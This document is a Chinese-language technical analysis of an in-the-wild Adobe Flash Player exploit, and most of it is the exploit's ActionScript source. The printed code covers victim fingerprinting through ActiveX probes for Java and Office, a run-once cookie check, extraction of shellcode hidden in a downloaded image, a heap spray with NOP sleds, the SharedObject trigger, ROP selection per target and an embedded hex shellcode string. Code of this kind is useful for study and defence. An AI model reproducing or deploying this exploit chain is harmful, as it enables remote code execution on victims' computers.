Adobe Flash Player(on Windows and Max OS X) 11.7.700.269 之前的所有版本 Adobe Flash Player(on Linux) 11.2.202.341 之前的所有版本 Adobe AIR (on Android) 4.0.0.1628 之前的所有版本 Adobe Air SDK (& Compiler) 4.0.0.1628 之前的所有版本
public function versioncheck():int { var os:String=Capabilities.os.toLowerCase(); var language:String=Capabilities.language.toLowerCase(); language.indexOf() if(os=="windows xp") { if(language == "zh-cn") return 1; else if (language=="en") return 2; else if(language=="zh-tw") return 3; else return 0; } else if(os=="windows 7") { ExternalInterface.call("eval","function checkversion(){ var result; var ua=window.navigator.userAgent.toLowerCase(); var temp=ua.replace(/ /g,\"\"); { if(temp.indexOf(\"nt6.1\")>-1&&temp.indexOf(\"msie\")>-1&&temp.indexOf(\"msie10.0\")==-1) { var java6=0; var java7=0; var a=0; var b=0; try { java6=new ActiveXObject(\"JavaWebStart.isInstalled.1.6.0.0\"); } catch(e){} try { java7=new ActiveXObject(\"JavaWebStart.isInstalled.1.7.0.0\"); } catch(e){} if(java6&&!java7) { return \"16\"; } try { a=new ActiveXObject(\"SharePoint.OpenDocuments.4\"); } catch(e){} try { b=new ActiveXObject(\"SharePoint.OpenDocuments.3\"); } catch(e){} if((typeof a)==\"object\"&&(typeof b)==\"object\") { try { location.href = 'ms-help://' }catch(e){}; return \"10\"; } else if((typeof a)==\"number\"&&(typeof b)==\"object\") { try { location.href = 'ms-help://' }catch(e){}; return \"07\"; } } } return \"0\";}"); var version:String=ExternalInterface.call("eval","checkversion()"); trace(version); var VerInt:Number = parseInt(version,10); return VerInt; } return 0; }
versioncheck 函数将会探测受害者机器上运行的操作系统,若是 XP 系统则根据系统语言返回相应的返回值,若是 Windows 7 则执行 checkversion 函数检测受害者的浏览器版本,是否安装了 Java 1.6,是否安装了 Office 2010 或 2007,并返回相应情况下的返回值
Script
1 2 3 4
public function getrop_XP():ByteArray public function getrop_07():ByteArray public function getrop_10():ByteArray public function getrop_16():ByteArray
public function onComplete(e:Event):void { // // var bytes:ByteArray = new ByteArray(); // bytes.writeBytes(e.target.data as ByteArray,0,(e.target.data as ByteArray).length); // bytes.position=bytes.length-4; // //last four bytes is the length of shellcode // bytes.endian="littleEndian"; // var len:uint=bytes.readUnsignedInt(); // var shellbytes:ByteArray=new ByteArray(); // shellbytes.writeBytes(bytes,bytes.length-4-len,len); // shellbytes.position=0; // // var shellcode:String=shellbytes.readMultiByte(shellbytes.length,"iso-8859-1"); // bgWorker.setSharedProperty("shellcode",shellcode); // bgWorker.start(); var bytes:ByteArray = new ByteArray(); bytes.writeBytes(e.target.data as ByteArray,0,(e.target.data as ByteArray).length); bytes.position=bytes.length-4; //last four bytes is the length of shellcode bytes.endian="littleEndian"; var len:uint=bytes.readUnsignedInt(); var shellbytes:ByteArray=new ByteArray(); shellbytes.writeBytes(bytes,bytes.length-4-len,len); shellbytes.position=0; //var shellcode:String=shellbytes.readMultiByte(shellbytes.length,"iso-8859-1"); //bgWorker.setSharedProperty("cc",shellcode); bgWorker.setSharedProperty("cc",shellbytes); bgWorker.start(); }
这是一个事件监听函数,将会从监听事件中以小端字节序读取相应数据(实际上读取的是图片马的数据)。其中读取的最后四个字节的值为偏移量(实际上是 shellcode 的长度),使用读取的数据的长度减去作为偏移量的四个字节的长度与其表示的偏移量得到一个内部嵌入的数据(shellcode)的起始地址,读取并保存到共享变量 cc 中
Script
1 2 3 4 5 6
public function cido() { ExternalInterface.call("eval", 'function setcookie(){var Then = new Date(); Then.setTime(Then.getTime() + 1000 * 3600 * 24 * 7 );document.cookie = "Cookie1=CC20131221; expires="+ Then.toGMTString();}function canIdo(){var cookieString = new String(document.cookie);if(cookieString.indexOf("CC20131221") == -1){setcookie(); return 1;}else{ return 0;}}'); var ret:String = ExternalInterface.call("eval", "canIdo()"); return (parseInt(ret, 10)); }
static const POOL_SIZE:int = 0x100000; static var allocs:Array; static var pool:ByteArray; static var dstSize:int; static var allocCount:int;
public static function init_pool(val) { pool = new ByteArray ; pool.writeBytes(val); while (pool.length < POOL_SIZE) { var temp:ByteArray = new ByteArray ; temp.writeBytes(pool); pool.writeBytes(temp); } } public static function alloc(val,size) { if ((null == allocs)) { allocs = new Array ; } dstSize = size; init_pool(val); }
public function triggerexp():void { var exp:String="AAAA"; // while(exp.length<1024*100) // exp=exp+exp; while(exp.length<1024*100) { exp=exp+((Math.random()<<16)+(Math.random()>>16)).toString(); } var sobj:SharedObject=SharedObject.getLocal("record"); sobj.data.logs=exp; }
//public var cc_shellcode:String = "19921231dbd7d97424f4b879c464b733c9b1385d83c504314513033cd78642423fcfadbac0b0245ff1e25314a032177849b87568dacc519f6b7a84ae6c4a087caeccf47ee32ec4b1f62f01aff962daa4a8926ff87092bf77c8ecba47bd46c4976edc8e0f04ba2e2ec9d81379662ae778ae62084b8e29376403337f42fc468bb1815048c85dd44d6a154eb68bfa093d87b75e198b46b211b7c335f63e9711d21b433b43c1224493ad9be0df5fcf93bd350e11b8701029c3d2791848bdfea59bfaf1ef86aa99a952efc7498933fec938cb05d148ce4255a0a2db30c611db10a5af7fcc43a11b9de44eb83272c334d0e910874691378b157bd22bbf83";
public var sc:String = new String();
static const POOL_SIZE:int = 0x100000; static var allocs:Array; static var pool:ByteArray; static var dstSize:int; static var allocCount:int;
public function cc() { if (Worker.current.isPrimordial) { // check cookie if (cido()==0) return; systemcase=versioncheck(); if(systemcase==0) return; //readout the shellcode from the picture var loader:URLLoader=new URLLoader(); loader.dataFormat=URLLoaderDataFormat.BINARY; loader.addEventListener(Event.COMPLETE,onComplete); loader.load(new URLRequest("logo.gif")); bgWorker = WorkerDomain.current.createWorker(loaderInfo.bytes); bgWorker.setSharedProperty("version",systemcase); } else { systemcase=Worker.current.getSharedProperty("version"); //var shellcode:String=Worker.current.getSharedProperty("cc"); var shellbytes:ByteArray=Worker.current.getSharedProperty("cc"); var val:ByteArray = new ByteArray(); val.endian = Endian.LITTLE_ENDIAN; var i, j, sc_len:uint = 0; for (i = 0; i< (0x0c0c); i++) { val.writeByte(0x90+i); } // 这个for循环用来转换下面这两句 //sc = cc_shellcode; //val.writeBytes(hexToBin(sc)); /*for (i = 0; i < shellcode.length; i++) { val.writeByte(shellcode.charCodeAt(i)); }*/ val.writeBytes(shellbytes); for (i = val.length; i< 0x10000; i++) { val.writeByte(0x90+i); } alloc(val, 0x100000-0x24); var block1:ByteArray = new ByteArray(); block1.writeBytes(pool, 0, 0x100000-0x24); //block1.writeBytes(val, 0, 0x100000-0x24); allocs.push(block1); pool = null; for(var i=0;i<0xe0;i++) { var block:ByteArray = new ByteArray(); block.writeBytes(block1, 0, 0x100000-0x24); allocs.push(block); } triggerexp(); var rop:ByteArray; if(systemcase==7) //office2007 + win7 { rop=getrop_07(); rop.toString(); } else if(systemcase==10) //office2010 + win7 { rop=getrop_10(); rop.toString(); } else if(systemcase==16) //java1.6 + win7 { rop=getrop_16(); rop.toString(); } else if(systemcase==1 || systemcase==2 || systemcase==3) //XP + Chinese || English || Tradition { rop=getrop_XP(); rop.toString(); } Worker.current.terminate(); //* Vulnerability } }
漏洞利用的主要逻辑是在 cc 函数中完成的,它将首先检查 Cookie 值是否设置,若已设置则不再重复进行漏洞利用。随后检查受害者的系统环境,只有 xp 系统且系统语言为中文或英文,或 win7 系统的用户为漏洞利用的攻击目标。随后执行事件监听函数,加载图片马并创建 background worker